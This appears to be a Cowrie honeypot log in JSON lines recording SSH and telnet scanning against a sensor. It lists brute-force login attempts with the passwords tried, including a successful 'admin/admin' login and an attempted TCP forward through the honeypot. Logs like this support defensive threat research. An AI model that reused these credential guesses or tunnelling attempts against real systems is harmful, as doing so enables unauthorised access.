{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59140,"dst_ip":"159.203.135.109","dst_port":23,"session":"d86195a654bd","protocol":"telnet","message":"New connection: 107.6.151.170:59140 (159.203.135.109:23) [session: d86195a654bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:47:36.011797Z"}
{"eventid":"cowrie.session.closed","duration":30.354416131973267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:47:51.024837Z","src_ip":"132.148.22.172","session":"d113b5b97e4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":52148,"dst_ip":"159.203.135.109","dst_port":22,"session":"d809679c1baa","protocol":"ssh","message":"New connection: 51.250.105.222:52148 (159.203.135.109:22) [session: d809679c1baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:47:51.437554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:47:51.441062Z","src_ip":"51.250.105.222","session":"d809679c1baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:47:51.565653Z","src_ip":"51.250.105.222","session":"d809679c1baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:47:51.942150Z","src_ip":"51.250.105.222","session":"d809679c1baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:47:53.070382Z","src_ip":"51.250.105.222","session":"d809679c1baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.66.186","src_port":48290,"dst_ip":"10.17.0.5","dst_port":22,"session":"22b1127c7ec6","protocol":"ssh","message":"New connection: 104.236.66.186:48290 (10.17.0.5:22) [session: 22b1127c7ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.497341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.500946Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.507288Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:68:10:7f:c2:f1:05:ee:8c:46:39:65:2b:14:42:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFRK8gZnW/sx/HQxsfDr2p9NYaVYjiJSBkhAVfyQj4F4W6wrsr3/iZI9coX+hUADbHBDfptG1NsOY1JJUWE8VeQ21e5RSRrTHZW0Bo7mIOiLEUQJdEp72k0lKc5pOwcpBoPF+xy8D95VyTuPbj9ikWjpBs7uxPE1n0NV/qf6onUoLbzWqU27WZIeo+XEG2NpgqtCB9RKVchdK/IUwfHVeH2BlCY9Ljj55h4mLyHkRzBHN2xxhJF2ZGENB+DZyYlP215Q4gkdJ/NifYSlh3xMXbSzZKuOms+Q6+xxQ+1/unXyfipjCd3iECOKbOA9DF7F5ZO0d4iUkrMJ96B2wHIiC9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:68:10:7f:c2:f1:05:ee:8c:46:39:65:2b:14:42:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.520641Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:68:10:7f:c2:f1:05:ee:8c:46:39:65:2b:14:42:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFRK8gZnW/sx/HQxsfDr2p9NYaVYjiJSBkhAVfyQj4F4W6wrsr3/iZI9coX+hUADbHBDfptG1NsOY1JJUWE8VeQ21e5RSRrTHZW0Bo7mIOiLEUQJdEp72k0lKc5pOwcpBoPF+xy8D95VyTuPbj9ikWjpBs7uxPE1n0NV/qf6onUoLbzWqU27WZIeo+XEG2NpgqtCB9RKVchdK/IUwfHVeH2BlCY9Ljj55h4mLyHkRzBHN2xxhJF2ZGENB+DZyYlP215Q4gkdJ/NifYSlh3xMXbSzZKuOms+Q6+xxQ+1/unXyfipjCd3iECOKbOA9DF7F5ZO0d4iUkrMJ96B2wHIiC9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.522955Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:e2:2f:3b:64:8e:02:a2:d2:58:92:56:3f:f6:22:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdOFS0pbbw7hCnEI6OvpMWsOW3DqEanH/kcbb5T35bQTYhghp5RfMGn2oUPHVR2mYrp249yGLtKKpiLJ7iKlrKleJtKnXLJuNwHF1Svpt/Kwf9SVxvoBgKolAN1XTk50KAwFV2sBIdOHjaoMBMwAJf3bwSQN+lxJ7SckaNoT9ld38UGT0xJLRr3J4dLIpp+8BaQA1iPlmrmkDQ1yI6PfVR47LhqjQHrojtdNrDcGv6j3pE5aKavcGDaqcUpbVeIvUW4J799BidcwGebUoz2iWtGEgG5Loz+IcmjS20wglrAbOa8clLfKAezexwZl1P6F95ZEaEiU+NO0Ej3u7lBEIj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:e2:2f:3b:64:8e:02:a2:d2:58:92:56:3f:f6:22:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.527792Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:e2:2f:3b:64:8e:02:a2:d2:58:92:56:3f:f6:22:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdOFS0pbbw7hCnEI6OvpMWsOW3DqEanH/kcbb5T35bQTYhghp5RfMGn2oUPHVR2mYrp249yGLtKKpiLJ7iKlrKleJtKnXLJuNwHF1Svpt/Kwf9SVxvoBgKolAN1XTk50KAwFV2sBIdOHjaoMBMwAJf3bwSQN+lxJ7SckaNoT9ld38UGT0xJLRr3J4dLIpp+8BaQA1iPlmrmkDQ1yI6PfVR47LhqjQHrojtdNrDcGv6j3pE5aKavcGDaqcUpbVeIvUW4J799BidcwGebUoz2iWtGEgG5Loz+IcmjS20wglrAbOa8clLfKAezexwZl1P6F95ZEaEiU+NO0Ej3u7lBEIj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.530227Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:d5:d5:34:ef:67:63:a2:b9:85:a0:e4:4a:98:93:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjNpMRwa4dfuSwEQEhGyoU6c6gjJkD/1DVFXjmM69bWfm7gPj/hJr9MKbXqGr3U/sN0yDES2KmonI/dsL9gmlZIgJCySG0kq39sWcSW8q8Upg/F36lRQQxxxw3F2uh7KYLA6tY3S+2MAUe8lOMCE6kjzvO8MiiwhGN7+zmQMUAksRTqpmadUih0m2kwYdFg2LExDAX+wbQSI1d1LlS3/2ge7FMQJMndM5NTCf91IPNSkQBzsrGFfI5sW9LEamHuJQyCR/SSjPaoTn21RdqzQwNEpcnaG56eUTDf1cyIHRtWves0t3IT+jkKNxQCTGlC5o1z8Lu2oo7ZmFZI+8P1EUD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:d5:d5:34:ef:67:63:a2:b9:85:a0:e4:4a:98:93:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.534985Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:d5:d5:34:ef:67:63:a2:b9:85:a0:e4:4a:98:93:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjNpMRwa4dfuSwEQEhGyoU6c6gjJkD/1DVFXjmM69bWfm7gPj/hJr9MKbXqGr3U/sN0yDES2KmonI/dsL9gmlZIgJCySG0kq39sWcSW8q8Upg/F36lRQQxxxw3F2uh7KYLA6tY3S+2MAUe8lOMCE6kjzvO8MiiwhGN7+zmQMUAksRTqpmadUih0m2kwYdFg2LExDAX+wbQSI1d1LlS3/2ge7FMQJMndM5NTCf91IPNSkQBzsrGFfI5sW9LEamHuJQyCR/SSjPaoTn21RdqzQwNEpcnaG56eUTDf1cyIHRtWves0t3IT+jkKNxQCTGlC5o1z8Lu2oo7ZmFZI+8P1EUD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.537143Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:41:5b:b9:6f:b9:d5:af:1b:6a:6b:cd:10:ef:f0:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZkGdZgFWc9BgvGKIoxgjpGiWoIO8nve80bDMewmDqYEKQ9oNsCZAPV2nI7rOiBDWh5/OyHB4WHJ0A1r/+n0AOtEEUhMy4uf5YAQG/nYS/0Lcg3lpTxt//F1GTmv3z48q0BlvHMOw0jq8PrJGnZiMVMyKFTygR2m3odNL5dWF2p3rMf/967I4ms34AR4UoIwBv35x8paJqk+at91qJEGAPfcJXU1273itOdJ80X5lMSXYXoZgzAu9We44jeEg3u1LrM6+9Nv7McqytWu5aaLa31G7JbgHkUi7m8Li+L8sRotHFHsoRL4ghdVdKIlfeU/wph3JHwj9lHxiBrq1/467l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:41:5b:b9:6f:b9:d5:af:1b:6a:6b:cd:10:ef:f0:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.542992Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:41:5b:b9:6f:b9:d5:af:1b:6a:6b:cd:10:ef:f0:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZkGdZgFWc9BgvGKIoxgjpGiWoIO8nve80bDMewmDqYEKQ9oNsCZAPV2nI7rOiBDWh5/OyHB4WHJ0A1r/+n0AOtEEUhMy4uf5YAQG/nYS/0Lcg3lpTxt//F1GTmv3z48q0BlvHMOw0jq8PrJGnZiMVMyKFTygR2m3odNL5dWF2p3rMf/967I4ms34AR4UoIwBv35x8paJqk+at91qJEGAPfcJXU1273itOdJ80X5lMSXYXoZgzAu9We44jeEg3u1LrM6+9Nv7McqytWu5aaLa31G7JbgHkUi7m8Li+L8sRotHFHsoRL4ghdVdKIlfeU/wph3JHwj9lHxiBrq1/467l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.545218Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:b6:70:f1:82:67:71:58:57:61:9b:45:13:98:a6:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoIol5+19cCb7u5ASIlbptsYw+b63JCAy0bAYHASpDW38ZyTmuy5hXQiX65k31QqW9PSXf67lDSvBV8RR73CdJq0kOOR5qKNGGaZpfy647yGsVi0U+KMfarKpJ2Z5B26QQ8lA/G/dQNuN6m73cUpOikwaafKBX6AWyef+XfMSVOZQ0uk7YKLSFjPoTPdzOia1vfyH4eQQ4fZyU2YhgqDfiZsjmjOaNqEnk2KJ+P0xRa9HIBVdpBjU9Umn8EkG1HVsM4yzIsOWRy+YNTFycd87iSwLK2SnBreyvGz0mqHXaSrFcKGotJ6V/XFaBQhEGGmCfgf9G99cCZBaBzrrlG+Q1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:b6:70:f1:82:67:71:58:57:61:9b:45:13:98:a6:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.549690Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:b6:70:f1:82:67:71:58:57:61:9b:45:13:98:a6:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoIol5+19cCb7u5ASIlbptsYw+b63JCAy0bAYHASpDW38ZyTmuy5hXQiX65k31QqW9PSXf67lDSvBV8RR73CdJq0kOOR5qKNGGaZpfy647yGsVi0U+KMfarKpJ2Z5B26QQ8lA/G/dQNuN6m73cUpOikwaafKBX6AWyef+XfMSVOZQ0uk7YKLSFjPoTPdzOia1vfyH4eQQ4fZyU2YhgqDfiZsjmjOaNqEnk2KJ+P0xRa9HIBVdpBjU9Umn8EkG1HVsM4yzIsOWRy+YNTFycd87iSwLK2SnBreyvGz0mqHXaSrFcKGotJ6V/XFaBQhEGGmCfgf9G99cCZBaBzrrlG+Q1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.551651Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:10.555935Z","src_ip":"104.236.66.186","session":"22b1127c7ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56150,"dst_ip":"10.17.0.5","dst_port":22,"session":"128ef296c2ca","protocol":"ssh","message":"New connection: 80.94.92.184:56150 (10.17.0.5:22) [session: 128ef296c2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:21.445748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:22.335897Z","src_ip":"80.94.92.184","session":"128ef296c2ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:22.339646Z","src_ip":"80.94.92.184","session":"128ef296c2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34890,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff9e585743d","protocol":"telnet","message":"New connection: 107.6.151.170:34890 (159.203.135.109:23) [session: aff9e585743d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:23.915985Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:24.052360Z","src_ip":"80.94.92.184","session":"128ef296c2ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:25.220871Z","src_ip":"80.94.92.184","session":"128ef296c2ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.47029113769531,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:31.482010Z","src_ip":"107.6.151.170","session":"d86195a654bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40894,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e392ebdab2","protocol":"telnet","message":"New connection: 107.6.151.170:40894 (159.203.135.109:23) [session: e6e392ebdab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:32.012337Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16600,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eace8f01994","protocol":"ssh","message":"New connection: 87.251.64.176:16600 (10.17.0.5:22) [session: 0eace8f01994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:36.615279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:36.618996Z","src_ip":"87.251.64.176","session":"0eace8f01994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:36.714918Z","src_ip":"87.251.64.176","session":"0eace8f01994","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:37.094904Z","src_ip":"87.251.64.176","session":"0eace8f01994","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:37.192860Z","session":"0eace8f01994","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:37.289120Z","src_ip":"87.251.64.176","session":"0eace8f01994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:48:37.387496Z","src_ip":"87.251.64.176","session":"0eace8f01994","protocol":"ssh"}
